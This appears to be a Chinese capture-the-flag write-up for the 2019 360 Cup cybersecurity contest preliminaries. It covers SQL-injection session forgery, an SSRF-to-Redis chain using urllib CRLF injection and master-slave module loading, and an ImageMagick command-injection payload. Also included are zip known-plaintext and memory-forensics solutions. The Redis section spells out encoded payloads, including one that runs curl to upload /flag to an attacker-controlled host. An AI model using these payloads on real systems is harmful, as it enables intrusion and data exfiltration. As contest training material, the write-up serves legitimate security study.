2019 360杯网络安全职业技能大赛 初赛WriteUP

立志成为admin的男人

通过注册,提示要admin


登陆处存在sql注入:

sqlmap注出管理员账号:

这里没有权限读取index.php,那肯定也没有权限能写webshell


扫描可以得到一个test.php,里面打印当前的用户名:

这里可以通过注入漏洞,往/tmp目录下的session文件中写入,来伪造自己admin的身份。

修改session,访问index.php就可以得到flag

用Python写的一个网站 好像还没有写完?

首页有个ssrf漏洞,但是能通过http协议访问。
可以看一下请求头,是nginx,并且网站是用python/3.6.5写的:


存在nginx目录穿越漏洞,可以得到源码:/static../main.py

pythonurllib出现过头注入,可以同来攻击内网ssrf,来测试一下:


成功注入头部,存在urllib头注入漏洞。
这里攻击内网redis,用到了主从rcegithub上有开源的脚本
先开启恶意的redis服务器:

然后设置redis的主服务器为恶意redis服务。

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

SLAVEOF 192.168.21.1 7789       //

*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a

CONFIG SET dbfilename exp.so    //

*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a

发送数据:

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a'

加载恶意模块:

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

MODULE LOAD ./exp.so            //

*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a

SLAVEOF NO ONE                  //

*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a

发送数据:

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a%0d%0a'`

然后执行命令,因为无回显,所以利用curl命令把flag文件传输出去:

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

system.exec 'curl -F "file=@/flag"

http://192.168.21.1:7789'    //

*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a

发送数据:

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a'

最后删除恶意模块,关闭恶意模块:

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

CONFIG SET dbfilename dump.rdb  //

*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a

system.exec 'rm ./exp.so'       //

*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a

MODULE UNLOAD system            //

*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a

发送数据:

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a%0d%0a

真实的环境中,充满了未知,漏洞与函数的拼接,能否绕过?

打开,需要爆破得到账号密码admin/1qaz@WSX。(吐槽:这TM谁爆得出来?)


登陆后有个上传点,源码有串base64提示:

这里就利用imagemagick+getimagesize来执行代码。参考链接
payload

push graphic-context

viewbox 0 0 640 480

fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'

pop graphic-context

#define xlogo_width 200

#define xlogo_height 200

最后找下flag

注入真的好难!!!

分析数据包,可以看到一堆sql盲注的流量。


参照土司机的博客,可以提取出最后的url:t.cn/Ai8PhqSbpasswd:bkis
得到一个加密的压缩包。
翻找流量包,可以看到一个readme.7z

看到两个压缩包都有readme.txt,所以是明文攻击。

readme.7z解压,再用7z压缩工具把readme.txt压缩成zip形式的。

解压就可以得到最后的flag

google语法真不错!!!

给了一个系统镜像,首先分析下版本:

$ volatility -f xp.raw imageinfo


架构应该是WinXPSP2x86
查看下进程:

$ volatility -f xp.raw –profile=WinXPSP2x86 pslist

可以查看下桌面文件:

$ volatility -f xp.raw –profile=WinXPSP2x86 filescan | grep 桌面


有个360.jpg,提取一下:

$ volatility -f xp.raw –profile=WinXPSP2x86 dumpfiles -D ./ -Q 0x000000000215f340


再去查看下ie浏览器历史:

$ volatility -f xp.raw –profile=WinXPSP2x86 iehistory


搜索下可以发现个github仓库:

看下提交记录,提示了F5,那就是F5隐写了。

解密:

$ java Extract 360.jpg -p 360CTFisSOeasy

得到out.txt,里面就是flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • HTML注入 HTML 注入向站点和开发者展示了漏洞,因为他可以用于误导用户,并且欺骗它们来提交一些敏感信息,或者...
    Cherishao阅读 999评论 0 5
  • 利用XSS弹出恶意警告框,代码为: alert("XSS"); XSS输入也可能是HTML代码段,如要使网页不停地...
    留白_bb77阅读 189评论 0 0
  • 本文主要讲解具体有哪些攻击 Web 站点的手段,以及攻击会造成怎样的影响。 针对 Web 应用的攻击模式 对 We...
    杰哥长得帅阅读 1,724评论 0 5
  • 谜一般的比赛。。题目实在是太多了,而且时间还只有一天=。=,还好在最后冲到了第六。。。 一、Misc stage1...
    zhazhami阅读 6,353评论 1 4
  • 父母之命媒妁之言,所以有些事只能是过去,而有的人,也成了那个远方。只有在午夜梦回的时候,所有的遗憾才能被想起,所有...
    南夕夕阅读 656评论 8 4